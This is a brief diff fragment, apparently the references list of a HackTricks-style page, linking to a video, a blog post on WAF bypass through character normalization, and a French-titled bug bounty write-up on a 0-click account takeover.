 - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
+- [Comment j'ai trouvé une prise de contrôle de compte 0-Clic dans un BBP public et l'ai exploitée pour accéder à des fonctionnalités de niveau Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)


 {{#include ../banners/hacktricks-training.md}}